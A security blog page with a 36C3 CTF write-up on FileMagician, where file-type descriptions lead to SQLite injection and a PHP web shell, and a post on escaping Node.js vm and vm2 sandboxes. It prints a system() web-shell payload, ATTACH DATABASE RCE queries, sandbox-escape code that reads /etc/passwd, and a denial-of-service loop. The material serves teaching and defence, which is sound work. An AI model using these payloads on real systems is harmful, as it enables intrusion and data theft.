Pwnisher's Blog

FileMagician 36C3 CTF Web Challenge

Sun, 29 Dec 2019 07:50:14 +0000

Summary: A web challenge involving SQLite Injection via file format descriptions to shell upload RCE.

Following Source Code is provied in the challenge description

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
session_start();

if( ! isset($_SESSION['id'])) {
    $_SESSION['id'] = bin2hex(random_bytes(32));
}

$d = '/var/www/html/files/'.$_SESSION['id'] . '/';
@mkdir($d, 0700, TRUE);
chdir($d) || die('chdir');

$db = new PDO('sqlite:' . $d . 'db.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);');

if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
    $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
    $db->exec($s);
    move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
}

$uploads = [];
$sql = 'SELECT * FROM upload';
foreach ($db->query($sql) as $row) {
    $uploads[] = [$row['id'], $row['info']];
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>file magician</title>
</head>
<form enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
<table>
    <?php foreach($uploads as $upload):?>
        <tr>
            <td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td>
            <td><?= $upload[1] ?></td>
        </tr>
    <?php endforeach?>
</table>

On the initial looks into the code, i felt the challenge would be something about fileupload abuses. After attempting all things related to uploads i stood nowhere so i went back to read code again.

Seeing that the file is written into with tmo_name and then a sqlite database operation is performed and then it is moved to destination, i felt there must be some kind of racecondition with a way to leak/bruetforce the tmpphpxxxx filename and access it. But after few hours of vain i dropped that idea and started setting up the challenge locally and added an echo statement to print the sqlite query after upload.

And i uploaded a plain text file and i saw this

INSERT INTO upload(info) VALUES ('ASCII text, with no line terminators');

So at this point it was evident that the finfo)->file basically figures out the uploaded filetype and the filetype is written into database. on reading further abount finfo i found out that the finfo uses a database of file format signatures called magicdb to recognize files like the file command in unix.

Such magic db file is usually present at /usr/share/misc/magic.mgc in linux.

LightBulb Moment: Insert query directly takes in filetype description and inserts into the table without any validation. So maybe if we find one such file format where we could control the filetype output we can perform injection. At this point the challenge name fileMagician -> (Magicdb, MagicBytes whatever) made alot of sense and i fixed my mind that this must be it.

I started testing this by tring to upload various formated files, i uploaded a 32bit windows binary and tried to edit hex bytes, to somehow control/modify the output.

I was able to modify few magicbytes and modify the architecture recognizition like below, in some other cases modify versions etc

After alot of time trying this on all formats i had on my laptop, i failed finding a fileformat that would allow me to inject strings, because ultimately we want to inject string for writing out sqlite payload. I went ahead to check how the file command recognizes its formats. On their github there are all signatures for all the fileformats -

(https://github.com/file/file/tree/fd04f3df822e3934c557cf282615a61c04ca2324/magic/Magdir)

I started blindly taking each format and testing

after much time i found a valid format, that would let me write some string at the end.

https://github.com/file/file/blob/fd04f3df822e3934c557cf282615a61c04ca2324/magic/Magdir/typeset

The typeset format allowed writing the version as string.

So i uploaded this test.txt to the server and 500 internal error.

A good indication that the injection works. I then googled for ways to achieve RCE from Sqlite.

The method - Remote Command Execution using SQLite command - Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

We have to execute the following queries after our injection point.

So i edited the test.txt and added the payload and uploaded it blindly many times and failed, then i realize the below

The typeset format had a length limit :(

So i went back to the file database and this time found lex format.

I made sure the format supported large number of injection, enough for our 3 query concatinated payload.

Sure it does.

Now i direclty opened burp and uploaded the file into /var/www/htm/files itself, seems like sandboxing isnt handled well.

And we can confirm we have code execution

Now i changed the payload to simple php backdoor with system function and was able to read the flag.

Thanks for reading

Sandboxing NodeJS is hard, here is why

Thu, 21 Feb 2019 18:32:14 +0000

Backstory

I authored BabyJS challenge for Nullcon HackIM CTF this year, the idea was not to go with common vulnerability classes like sqli, lfi, rce… but rather choose something interesting and new. There were many challenges in the past about python-jail/python-sandbox in CTF’s, so we thought why not try NodeJS Sandboxing.

Right after the CTF i wanted to look more into the current npm packages that offer sandboxing and what kind of bypasses they are affected with. In this blog post, i am going to explain why sandboxing nodejs is a hard problem and not a great standalone solution for security.

Disclaimer:

I am new to javascript, i am no where near to the guys who found bypasses like - this . I tried my best to explain things, if you think the post needs improvements/additions at any part, please reach out to me.

What is sandboxing

A sandbox is an isolated environment that enables secure execution of untrusted code, without affecting the actual code outside of it.

When looking for Node’s sandboxing , the first module that comes up is the Node VM Module. So lets look at what it has to offer.

Nodejs VM Module

The vm module provides APIs for compiling and running code within V8 Virtual Machine contexts. Using VM module one can run the code in a sandboxed environment. The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code

Using Vm module we can run untrusted code in a seperate context meaning it wont be able to access the main node process right?

Example code

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
console.log(xyz);

Now lets try to access process

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);

Process is not defined, so the VM Module doesnt allow access to process by default, if you want it you have to specifically give it.

Hmm, it seems good enough because you cant access ` process,require` etc by default so no way to reach to main process and execute code ?

Bypass:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);

Explanation:

In javascript this keyword refers to the object it belongs to, so if we use this its already pointing to an object outside of the VM Context. So accessing .constructor on this object gives Object Constructor and accessing .constructor on object constructor gives Function constructor

Function constructor is like the highest function javascript gives, it has access to global scope, hence it can return any global things Function constructor allows you to generate a function from a string and therefore execute arbitrary code.

So we use function constructor to return to main process :)

This was the same trick used for the first Angular breakout escape as well. - AngularJS Sandbox

More about Function Constructor here and here

Now that we have access to process we can use it to get to require and then RCE

Code Execution

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

Nodejs VM2 Module

VM2 is a sandbox that can run untrusted code with whitelisted Node’s built-in modules. Securely!. Only JavaScript built-in objects + Buffer are available. Scheduling functions (setInterval, setTimeout and setImmediate) are not available by default.

VM2 Working

VM2 uses Vm Module internally to create secure (context)[https://github.com/patriksimek/vm2/blob/master/lib/contextify.js] It uses Proxies to prevent escaping the sandbox

Now anything that comes from vm contenxt to sandbox can be used to climb to process.

Example:

"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');

Throws error, that process is not defined.

Escape

Since VM2 contextifies all objects inside the VM Context, this keyword no longer has access to the constructor property hence our previous payload is dead.

For a bypass we will need something outside of sandbox, so that it will not be limited to the sandbox context and will have access to constructor again.

Exceptions for the Win!:

Now that all objects inside the vm are contextified, we somehow need something from outside world to climb back to process and then execute code

What if we write something inside a try block, that will cause the host process to throw an exception and then we catch the exception from the host back in the VM’s catch block and use that to climb to process. Well its possible thats excatly what we are going to go

const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
    try {
        this.process.removeListener(); 
    } 
    catch (host_exception) {
        console.log('host exception: ' + host_exception.toString());
        host_constructor = host_exception.constructor.constructor;
        host_process = host_constructor('return this')().process;
	child_process = host_process.mainModule.require("child_process");
	console.log(child_process.execSync("cat /etc/passwd").toString());
    }`);

In the try block we try to remove the listener on the current process doing this - this.process.removeListener() which raises an exception from the host. Since the exceptions from the Host are not contextified before being passed inside the sandbox we can use the exception to climb up the tree upto require.

Afterall there have been quiet a few new and creative bypasses from Xmiliah in the VM2 - more escapes

Apart from the sandbox escapes, it was also possible to create a denial of service using infinite while loop

const {VM} = require('vm2');
new VM({timeout:1}).run(`
		function main(){
		while(1){}
	}
	new Proxy({}, {
		getPrototypeOf(t){
			global.main();
		}
	})`);

Final thoughts

Running untrusted code is hard, relying only on software modules as a sandboxing technique to completely prevent misuse of untrusted code execution is a bad decision afterall. It could be a real mess in cloud saas situations, since multiple tenants data is accessible once you are able to escape out of the sandbox process. You could sneak in into other tenants sessions, secrets etc. A far more secure option would be to depend on hardware virtualization like running each tenant code inside a seperate docker container or AWS Lambda Function as a service might also be a better choice.

Below is how Auth0 handled the sandbox problem: Sandboxing Node.js with CoreOS and Docker